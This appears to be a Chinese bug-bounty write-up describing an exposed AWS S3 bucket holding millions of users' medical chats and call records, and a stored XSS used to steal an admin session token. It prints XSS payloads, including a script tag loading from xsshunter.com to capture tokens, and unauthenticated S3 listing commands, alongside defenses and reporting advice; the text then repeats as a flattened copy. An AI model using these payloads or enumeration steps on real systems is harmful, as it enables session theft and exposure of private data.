挖洞经验 | 百万用户个人信息泄露漏洞
字数 1625 2025-08-18 11:39:11

AWS S3存储桶配置错误与XSS漏洞利用实战教学

1. AWS S3存储桶错误配置漏洞

1.1 漏洞发现过程

  1. 初始侦察:在对目标网站测试时,发现网站使用Amazon Cloudfront服务存储公共图片
  2. URL结构分析:发现图片存储URL格式为https://d3ez8in977xyz.cloudfront.net/avatars/009afs8253c47248886d8ba021fd411f.jpg
  3. 目录遍历测试:尝试访问根路径https://d3ez8in977xyz.cloudfront.net/,发现不仅存储图片,还包含敏感数据

1.2 漏洞详情

  • 错误配置类型:AWS S3存储桶权限设置不当,导致未授权访问
  • 暴露数据类型
    • 语音聊天内容
    • 音频通话记录
    • 短信内容
    • 医患对话记录
    • 其他用户隐私文件
  • 影响范围:数百万用户个人医疗数据(PII)

1.3 漏洞利用方法

  1. 枚举存储桶内容

    • 直接访问存储桶根路径
    • 尝试常见目录名(如/data, /backup, /private等)
    • 使用工具如awsclis3scanner进行自动化扫描
  2. 跨域名测试

    • 发现不同域名对应不同AWS存储桶
    • 测试每个域名的公共图片存储路径
    • 检查每个存储桶的权限设置

1.4 修复建议

  1. 权限设置

    • 设置存储桶为私有
    • 仅允许特定IP或用户访问
    • 启用存储桶策略和ACL审核
  2. 数据分类存储

    • 敏感数据与非敏感数据分开存储
    • 公共内容使用独立存储桶
  3. 监控与告警

    • 设置异常访问告警
    • 定期审计存储桶权限

2. 存储型XSS漏洞利用案例

2.1 漏洞发现过程

  1. 输入点测试:在数据格式页面发现未过滤的用户输入
  2. XSS验证:注入简单脚本测试存储型XSS
  3. 利用框架:使用XSSHunter的Payload进行深入测试

2.2 漏洞利用技术

  1. Payload构造

    // 基本XSS验证
    <script>alert(document.domain)</script>
    
    // XSSHunter Payload示例
    <script src="https://xsshunter.com/yourpayload.js"></script>
    
  2. 攻击流程

    • 注入恶意脚本到可存储位置
    • 等待管理员查看包含恶意脚本的页面
    • 通过XSSHunter接收反弹的管理员会话token
  3. 权限提升

    • 使用窃取的token模拟管理员会话
    • 访问受限的管理接口
    • 获取商业合作伙伴的详细信息

2.3 防御措施

  1. 输入过滤

    • 对所有用户输入进行HTML实体编码
    • 使用白名单过滤允许的HTML标签
  2. 输出编码

    • 在输出到页面时进行上下文相关的编码
    • 使用安全的模板引擎
  3. 内容安全策略(CSP)

    • 实施严格的CSP策略
    • 禁止内联脚本执行
  4. 会话保护

    • 使用HttpOnly和Secure标志的cookie
    • 实施CSRF保护机制

3. 漏洞报告与赏金获取

3.1 有效漏洞报告要素

  1. 清晰描述

    • 漏洞类型和影响
    • 重现步骤(step-by-step)
    • 截图或视频证据
  2. 影响评估

    • 数据敏感性分析
    • 受影响用户数量估算
    • 潜在业务风险
  3. 修复建议

    • 提供可行的修复方案
    • 引用相关安全标准

3.2 赏金计划策略

  1. 目标选择

    • 关注有公开赏金计划的企业
    • 优先测试处理敏感数据的系统
  2. 测试方法

    • 从低风险测试开始建立信任
    • 避免使用自动化工具大规模扫描
    • 遵守各项目的测试规则
  3. 沟通技巧

    • 专业、礼貌的报告语言
    • 及时响应项目方的询问
    • 对修复进行验证确认

4. 工具与资源

4.1 AWS S3测试工具

  1. awscli:官方AWS命令行工具,用于测试存储桶权限

    aws s3 ls s3://bucket-name --no-sign-request
    
  2. S3Scanner:自动化查找和测试S3存储桶

    python3 s3scanner.py --bucket names.txt
    
  3. BucketStream:查找可访问的S3存储桶

4.2 XSS测试工具

  1. XSSHunter:自动化XSS漏洞验证平台
  2. BeEF:浏览器利用框架
  3. Burp Suite:手动测试XSS的专业工具

4.3 学习资源

  1. AWS安全最佳实践

    • AWS官方安全文档
    • CIS AWS基准
  2. Web安全学习

    • OWASP测试指南
    • PortSwigger Web安全学院
  3. 漏洞赏金平台

    • HackerOne
    • Bugcrowd
    • 国内各大SRC平台
AWS S3存储桶配置错误与XSS漏洞利用实战教学 1. AWS S3存储桶错误配置漏洞 1.1 漏洞发现过程 初始侦察 :在对目标网站测试时,发现网站使用Amazon Cloudfront服务存储公共图片 URL结构分析 :发现图片存储URL格式为 https://d3ez8in977xyz.cloudfront.net/avatars/009afs8253c47248886d8ba021fd411f.jpg 目录遍历测试 :尝试访问根路径 https://d3ez8in977xyz.cloudfront.net/ ,发现不仅存储图片,还包含敏感数据 1.2 漏洞详情 错误配置类型 :AWS S3存储桶权限设置不当,导致未授权访问 暴露数据类型 : 语音聊天内容 音频通话记录 短信内容 医患对话记录 其他用户隐私文件 影响范围 :数百万用户个人医疗数据(PII) 1.3 漏洞利用方法 枚举存储桶内容 : 直接访问存储桶根路径 尝试常见目录名(如 /data , /backup , /private 等) 使用工具如 awscli 或 s3scanner 进行自动化扫描 跨域名测试 : 发现不同域名对应不同AWS存储桶 测试每个域名的公共图片存储路径 检查每个存储桶的权限设置 1.4 修复建议 权限设置 : 设置存储桶为私有 仅允许特定IP或用户访问 启用存储桶策略和ACL审核 数据分类存储 : 敏感数据与非敏感数据分开存储 公共内容使用独立存储桶 监控与告警 : 设置异常访问告警 定期审计存储桶权限 2. 存储型XSS漏洞利用案例 2.1 漏洞发现过程 输入点测试 :在数据格式页面发现未过滤的用户输入 XSS验证 :注入简单脚本测试存储型XSS 利用框架 :使用XSSHunter的Payload进行深入测试 2.2 漏洞利用技术 Payload构造 : 攻击流程 : 注入恶意脚本到可存储位置 等待管理员查看包含恶意脚本的页面 通过XSSHunter接收反弹的管理员会话token 权限提升 : 使用窃取的token模拟管理员会话 访问受限的管理接口 获取商业合作伙伴的详细信息 2.3 防御措施 输入过滤 : 对所有用户输入进行HTML实体编码 使用白名单过滤允许的HTML标签 输出编码 : 在输出到页面时进行上下文相关的编码 使用安全的模板引擎 内容安全策略(CSP) : 实施严格的CSP策略 禁止内联脚本执行 会话保护 : 使用HttpOnly和Secure标志的cookie 实施CSRF保护机制 3. 漏洞报告与赏金获取 3.1 有效漏洞报告要素 清晰描述 : 漏洞类型和影响 重现步骤(step-by-step) 截图或视频证据 影响评估 : 数据敏感性分析 受影响用户数量估算 潜在业务风险 修复建议 : 提供可行的修复方案 引用相关安全标准 3.2 赏金计划策略 目标选择 : 关注有公开赏金计划的企业 优先测试处理敏感数据的系统 测试方法 : 从低风险测试开始建立信任 避免使用自动化工具大规模扫描 遵守各项目的测试规则 沟通技巧 : 专业、礼貌的报告语言 及时响应项目方的询问 对修复进行验证确认 4. 工具与资源 4.1 AWS S3测试工具 awscli :官方AWS命令行工具,用于测试存储桶权限 S3Scanner :自动化查找和测试S3存储桶 BucketStream :查找可访问的S3存储桶 4.2 XSS测试工具 XSSHunter :自动化XSS漏洞验证平台 BeEF :浏览器利用框架 Burp Suite :手动测试XSS的专业工具 4.3 学习资源 AWS安全最佳实践 : AWS官方安全文档 CIS AWS基准 Web安全学习 : OWASP测试指南 PortSwigger Web安全学院 漏洞赏金平台 : HackerOne Bugcrowd 国内各大SRC平台